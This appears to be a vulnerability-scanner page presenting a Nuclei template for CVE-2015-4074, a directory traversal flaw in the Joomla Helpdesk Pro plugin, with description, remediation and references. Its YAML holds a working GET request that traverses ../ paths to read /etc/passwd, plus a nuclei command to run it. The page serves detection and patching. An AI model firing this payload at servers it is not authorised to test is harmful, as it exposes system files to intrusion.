Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion

ID: CVE-2015-4074

Severity: high

Author: 0x_Akoko

Tags: cve2015,cve,lfi,packetstorm,edb,joomla,plugin,helpdesk_pro_project,joomla\!,xss

Description

Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.

YAML Source

id: CVE-2015-4074

info:
  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html
    - https://www.exploit-db.com/exploits/37666/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4074
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4074
    cwe-id: CWE-22
    epss-score: 0.00598
    epss-percentile: 0.78367
    cpe: cpe:2.3:a:helpdesk_pro_project:helpdesk_pro:*:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: helpdesk_pro_project
    product: helpdesk_pro
    framework: joomla\!
  tags: cve2015,cve,lfi,packetstorm,edb,joomla,plugin,helpdesk_pro_project,joomla\!,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a34aa6cc6e235b174015670ae81d4fd1d03883a1b6d61185bcda9f9c24ee9131022100b70f4faba6f5087528a43ca4c42a516a83401372fd12199b78d1b7692479894e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-4074.yaml"

View on Github